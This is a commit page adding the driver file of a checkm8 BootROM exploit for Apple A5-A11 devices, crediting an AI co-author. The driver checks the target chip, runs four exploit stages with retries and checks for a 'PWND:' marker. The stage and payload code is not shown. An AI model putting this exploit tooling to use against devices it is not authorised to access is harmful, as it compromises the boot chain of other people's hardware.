feat(exploit): Add checkm8 DFU exploit engine with payload headers

Four-stage checkm8 exploit (reset, spray, setup, patch) targeting
A5-A11 BootROM vulnerability. Includes ROP chain headers for A10/A11
and shellcode placeholder. Verify via PWND: serial marker.

Files created:
- include/exploit/exploit.h
- include/exploit/checkm8.h
- include/exploit/checkm8_internal.h
- src/exploit/checkm8.c
- src/exploit/checkm8_stages.c
- src/exploit/payload/rop_a10.h
- src/exploit/payload/rop_a11.h
- src/exploit/payload/shellcode.h
- src/exploit/payload/ramdisk.h

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 02:16:52 +02:00
parent 82bec20452
commit 17fca828a5
9 changed files with 911 additions and 0 deletions

190
src/exploit/checkm8.c Normal file
View file

@ -0,0 +1,190 @@
/* checkm8.c -- checkm8 DFU exploit: init, deliver, verify, cleanup */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "exploit/exploit.h"
#include "exploit/checkm8.h"
#include "exploit/checkm8_internal.h"
#include "device/chip_db.h"
#include "device/usb_dfu.h"
#include "util/log.h"
/* ------------------------------------------------------------------ */
/* exploit_init */
/* ------------------------------------------------------------------ */
int exploit_init(exploit_ctx_t *ctx, device_info_t *dev)
{
const chip_info_t *chip;
if (!ctx || !dev)
return -1;
memset(ctx, 0, sizeof(*ctx));
ctx->dev = dev;
chip = chip_db_lookup(dev->cpid);
if (!chip) {
log_error("exploit_init: unknown CPID 0x%04X", dev->cpid);
return -1;
}
if (!chip->checkm8_vulnerable) {
log_error("exploit_init: chip %s (0x%04X) is not checkm8-vulnerable",
chip->name, chip->cpid);
return -1;
}
if (!dev->usb) {
log_error("exploit_init: device has no USB handle (not in DFU mode?)");
return -1;
}
ctx->chip = chip;
ctx->phase = EXPLOIT_PHASE_INIT;
ctx->payload_buf = NULL;
ctx->payload_len = 0;
log_info("exploit_init: target %s (%s), CPID 0x%04X",
chip->name, chip->marketing, chip->cpid);
return 0;
}
/* ------------------------------------------------------------------ */
/* exploit_deliver */
/* ------------------------------------------------------------------ */
int exploit_deliver(exploit_ctx_t *ctx)
{
if (!ctx || !ctx->dev || !ctx->chip)
return -1;
log_info("exploit_deliver: starting checkm8 on %s", ctx->chip->name);
if (checkm8_stage_reset(ctx) != 0)
return -1;
if (checkm8_stage_spray(ctx) != 0)
return -1;
if (checkm8_stage_setup(ctx) != 0)
return -1;
if (checkm8_stage_patch(ctx) != 0)
return -1;
log_info("exploit_deliver: all stages complete");
return 0;
}
/* ------------------------------------------------------------------ */
/* exploit_cleanup */
/* ------------------------------------------------------------------ */
void exploit_cleanup(exploit_ctx_t *ctx)
{
if (!ctx)
return;
if (ctx->payload_buf) {
free(ctx->payload_buf);
ctx->payload_buf = NULL;
}
ctx->payload_len = 0;
ctx->phase = EXPLOIT_PHASE_INIT;
ctx->dev = NULL;
ctx->chip = NULL;
}
/* ------------------------------------------------------------------ */
/* checkm8_verify_pwned */
/* ------------------------------------------------------------------ */
int checkm8_verify_pwned(device_info_t *dev)
{
char serial[DFU_SERIAL_MAX];
uint32_t cpid = 0;
uint64_t ecid = 0;
if (!dev || !dev->usb)
return -1;
memset(serial, 0, sizeof(serial));
if (usb_dfu_read_info(dev->usb, &cpid, &ecid, serial,
sizeof(serial)) != 0) {
log_error("checkm8_verify_pwned: failed to read USB serial");
return -1;
}
log_debug("checkm8_verify_pwned: serial = \"%s\"", serial);
if (strstr(serial, "PWND:") != NULL) {
log_info("checkm8_verify_pwned: device is pwned");
return 1;
}
log_warn("checkm8_verify_pwned: PWND marker not found in serial");
return 0;
}
/* ------------------------------------------------------------------ */
/* checkm8_exploit -- top-level entry point */
/* ------------------------------------------------------------------ */
int checkm8_exploit(device_info_t *dev)
{
exploit_ctx_t ctx;
int attempt;
int pwned;
if (!dev) {
log_error("checkm8_exploit: NULL device");
return -1;
}
log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid);
if (exploit_init(&ctx, dev) != 0)
return -1;
for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) {
log_info("checkm8_exploit: attempt %d/%d", attempt,
MAX_EXPLOIT_TRIES);
if (exploit_deliver(&ctx) != 0) {
log_warn("checkm8_exploit: attempt %d failed, retrying...",
attempt);
usleep(STAGE_DELAY_USEC * 10);
continue;
}
/* Verify the exploit worked */
pwned = checkm8_verify_pwned(dev);
if (pwned == 1) {
log_info("checkm8_exploit: success on attempt %d", attempt);
ctx.phase = EXPLOIT_PHASE_DONE;
exploit_cleanup(&ctx);
return 0;
}
if (pwned < 0) {
log_error("checkm8_exploit: verification error on attempt %d",
attempt);
} else {
log_warn("checkm8_exploit: not pwned after attempt %d",
attempt);
}
usleep(STAGE_DELAY_USEC * 10);
}
log_error("checkm8_exploit: failed after %d attempts",
MAX_EXPLOIT_TRIES);
exploit_cleanup(&ctx);
return -1;
}